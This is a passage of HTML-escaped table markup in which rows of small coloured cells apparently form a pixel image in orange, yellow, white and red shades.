&lt;td style=&quot;background-color: #b94f05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bb5206; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b95103; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ba5206; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b64d04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b44a04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ca5308; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #dd5f12; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce5006; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c74e07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #be4a06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc4808; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c14a0d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d25109; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e96308; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f9911c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f1c616; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f6f585; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fefeef; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ffffd9; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fffd8e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #efda33; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ed980c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f0670c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cd3c0b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b72403; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #be2703; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #be2208; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c1220d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c71a08; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #db2211; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d7170d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bf0e08; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a60d01; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b30a04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c40c0c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bb0706; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bb0404; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b80405; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b90206; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #be030a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bf0609; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc0609; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #b64d02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b64d01; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b64c01; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bb5207; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc5207; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b94d03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b74c02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b74d04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ba4e04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc4e02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bf5008; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #be4f08; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b84903; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c14f07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce590c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c34f06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b84907; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bb4a05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bf4c06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #be4906; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cd5603; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ed8412; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f2b315; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f6ec34; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fefea8; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fffdfa; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fefbfe; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #feffde; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fbfb98; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f5b830; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ee7104; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d04109; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c12c0a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bf2705; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b92105; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b71d03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c1220b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c41807; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d41b0a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e01f0f; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b70b00; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #be1009; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c10705; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc0203; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc0407; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b70306; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ac0002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a80002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ad0003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b50205; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #b44c04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b44c04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b34b03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b44c03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b94d04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bb4e05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ba4e05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b94d04; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b94c03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bd4d03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c2520a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc4b05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c14f0a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cc5b0b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c65306; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c34e08; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c34d0c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bb4906; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b64706; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c64908; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #df6f0e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f2b926; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f7e425; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fefe6d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fcfede; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fefefd; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fffef9; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fdfefb; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ffffd4; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f6d156; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ec7c03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d24409; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #be2b0b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b92405; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b92006; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c5270d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c82915; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ba1204; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cf1a07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d81a08; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bb0801; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b30907; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b90b0a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc0609; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ba0508; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b30304; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ab0101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a80201; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a80003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a70002; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #b34b07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b34b07; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b24905; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b24a06; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b14904; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b34a03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b84b03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bf5004; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c65307; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce5208; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cb4c00; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c84900; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ce510e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cf560d; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bf4903; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b94602; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ba4908; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bd4d0a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ba4a09; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c54a05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e6750e; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f5be17; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fdf940; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fefdb3; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fbfffe; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fbfffe; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fefefc; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fdfdfe; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fcffde; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f7ea80; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e98313; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d24207; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b52303; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #be270a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc240c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b91f08; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b51807; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c1160a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d1180b; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d81509; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bf0d05; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ab0805; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ac0405; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ad0203; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #aa0101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a90100; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #aa0301; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a90201; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a90003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #a90003; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;tr&gt;&lt;td style=&quot;background-color: #b24908; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b24908; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b24907; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b24907; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b24a09; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b34b08; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b84b03; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c14e02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d05304; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e46708; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f48c15; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e67708; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d65201; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d15107; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #c84e08; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bb4808; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b24606; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b84c0c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b74608; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d1510c; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #e8750a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #f6be18; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fdf659; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fffecb; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fefefb; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fdfefd; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fdfefe; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fdfeff; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fafee9; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #fefda9; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ec9d30; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #d74505; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b82305; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b72508; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc2209; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b51903; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b31908; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ba1909; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #bc0e02; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #da1709; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #cd140a; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b30301; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b50603; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #b00403; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #af0305; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #ac0203; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
&lt;td style=&quot;background-color: #aa0101; height: 15px; width: 15px;&quot;&gt;&lt;br /&gt;&lt;/td&gt;
